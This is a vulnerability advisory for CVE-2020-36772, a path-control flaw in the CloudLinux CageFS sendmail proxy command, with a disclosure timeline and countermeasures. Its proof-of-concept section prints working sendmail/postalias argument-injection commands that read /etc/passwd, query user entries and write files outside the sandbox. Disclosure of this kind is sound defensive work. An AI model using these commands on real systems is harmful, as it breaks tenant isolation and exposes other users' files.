Authored by David Gnedt | Site

CloudLinux CageFS versions 7.0.8-2 and below insufficiently restrict file paths supplied to the sendmail proxy command. This allows local users to read and write arbitrary files of certain file formats outside the CageFS environment.

advisories | CVE-2020-36772

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# CloudLinux CageFS Insufficiently Restricted Proxy Command #


## Vulnerability Overview ##

CloudLinux CageFS 7.0.8-2 or below insufficiently restricts file paths
supplied to the `sendmail` proxy command. This allows local users to read
and write arbitrary files of certain file formats outside the CageFS

* **Identifier** : SBA-ADV-20200707-02
* **Type of Vulnerability** : External Control of File Name or Path
* **Software/Product Name** : [CloudLinux CageFS](
* **Vendor** : CloudLinux Inc.
* **Affected Versions** : <= 7.0.8-2
* **Fixed in Version** : 7.1.1-1
* **CVE ID** : CVE-2020-36772
* **CVSS Vector** : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
* **CVSS Base Score** : 6.6 (Medium)

## Vendor Description ##

> CloudLinux OS is the leading platform for multitenancy. It improves
> server stability, density, and security by isolating each tenant and
> giving them allocated server resources. This creates an environment
> that feels more like a virtual server than a shared hosting account.
> By doing so, CloudLinux OS reduces operating costs and churn rates,
> and increases profitability.

Source: <>

## Impact ##

A CageFS-restricted local user can read and write arbitrary files of certain
file formats outside the CageFS environment by exploiting the vulnerability
documented in this advisory.

## Vulnerability Description ##

CloudLinux offers a feature called proxy commands in CageFS environments.
It allows limited execution of commands outside the CageFS environment from
a user restricted within the CageFS environment.

CageFS allows in its default configuration to execute `sendmail` as a proxy
command outside the CageFS environment. This default configuration is
designed to allow local programs sending emails by invoking `sendmail`.
Due to the insufficient validation of sendmail's arguments an attacker can
invoke other sendmail functionality as well. While CageFS applies some
restrictions to the allowed arguments it does not restrict or validate the
`-bi` and `-oA` arguments.

Therefore, an attacker can have `sendmail` access arbitrary files which will
be interpreted as alias database files by enabling the `newalias` mode of
`sendmail` with `-bi` and specifying a file located outside the CageFS
environment with `-oA`.

On systems using the Postfix to Sendmail compatibility interface, a great
number of different alias database types can be used to craft exploits.
The compatibility interface internally calls `postalias` and besides the
`-oA` argument already being dangerous by itself, it also suffers from an
argument injection issue, which allows injection of additional Postfix
specific arguments for `postalias`. However, this is not a security issue
in Postfix.

According to Postfix developers, Postfix's `sendmail` does not enforce a
security policy on command-line arguments. Instead, it relies on the
UNIX/Linux system to enforce access policies based on the effective user and
group IDs of the process. If a security policy should be enforced, the
calling process must sanitize the command-line arguments before they are
given to `sendmail`. This includes but is not limited to sanity checks on
pathnames, and if applicable sanity checks on file contents in a way that
is not vulnerable to time-of-check to time-of-use race attacks, and
disabling options processing with `--`.

## Proof of Concept ##

For example, an attacker can read arbitrary files that at least partially
follow the structure `key <whitespace> value` via the lookup table type

$ sendmail -bi -oA'-s,-f,texthash:/etc/passwd'
postalias: warning: /etc/passwd, line 1: expected format: key whitespace value -- ignoring this line
postalias: warning: /etc/passwd, line 211: expected format: key whitespace value -- ignoring this line
sssd:x:496:493:User: for sssd:/:/sbin/nologin
dbus:x:81:81:System: message bus:/:/sbin/nologin
polkitd:x:497:495:User: for polkitd:/:/sbin/nologin
tss:x:59:59:Account: used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
systemd-resolve:x:193:193:systemd: Resolver:/:/sbin/nologin
rngd:x:494:491:Random: Number Generator Daemon:/var/lib/rngd:/sbin/nologin
sshd:x:74:74:Privilege-separated: SSH:/var/empty/sshd:/sbin/nologin
systemd-coredump:x:499:497:systemd: Core Dumper:/:/sbin/nologin
nobody:x:65534:65534:Kernel: Overflow User:/:/sbin/nologin
ftp:x:14:50:FTP: User:/var/ftp:/sbin/nologin
unbound:x:498:496:Unbound: DNS resolver:/etc/unbound:/sbin/nologin
nrpe:x:492:486:NRPE: user for the NRPE service:/var/run/nrpe:/sbin/nologin

The attacker can also use other lookup table types which might disclose
sensitive information. For example, `unix` allows the query of specific
users regardless of the format:

$ sendmail -bi -oA'-q,ftp2406151,unix:passwd.byname'

An attacker can also write specific file formats outside the CageFS
environment. For example, with the `hash` lookup table type:

$ echo sba:was_here | sendmail -bi -oA'-o,-p,-i,-f,hash:/tmp/sba_was_here'
$ sendmail -bi -oA'-s,-f,hash:/tmp/sba_was_here'
@: @
YP_LAST_MODIFIED: 1594138203
YP_MASTER_NAME: localhost
sba: was_here

## Recommended Countermeasures ##

We recommend to restrict the `sendmail` command to only strictly required
parameters using an allow list approach. At least the following parameters
are known to cause dangerous behavior:

* `-oA`: Allows specification of multiple paths and additional arguments.
It is important to consider that it is directly followed by the pathname
without a separator, i.e., `-oA/etc/passwd`.
* `-bi`: Enables the `newalias` mode of `sendmail`.
* `-I`: Enables the `newalias` mode of `sendmail`.
* `-v`: If the parameter is added at least two times, i.e., `-vv`,
`-vvvvv` or `-v -v`, it enables the verbose mode, which leaks the
Postfix configuration in some cases.

We did not fully analyze other parameters of `sendmail`, therefore, it is
possible that `sendmail` as proxy command is also prone to other attacks.

## Timeline ##

* `2020-07-07`: identification of vulnerability in version 7.0.6-1
* `2020-07-10`: initial vendor contact
* `2020-07-13`: initial vendor response
* `2020-07-13`: disclosed vulnerability to vendor security contact
* `2020-08-06`: vendor released version 7.1.1-1 to testing
* `2020-09-03`: vendor released version 7.1.1-1 to production
* `2020-10-02`: request CVE from MITRE
* `2022-01-04`: MITRE declined request as it falls in the scope of Red Hat
* `2024-01-19`: request CVE from Red Hat
* `2024-01-22`: Red Hat assigned CVE-2020-36772
* `2024-01-25`: public disclosure

## References ##

* CageFS 7.1.1-1 beta: <>
* CageFS 7.1.1-1 production: <>

## Credits ##

* David Lisa Gnedt ([SBA Research](